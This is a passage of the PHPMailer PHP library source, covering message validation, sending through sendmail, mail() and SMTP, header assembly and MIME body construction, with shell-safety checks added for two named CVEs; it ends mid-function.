            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
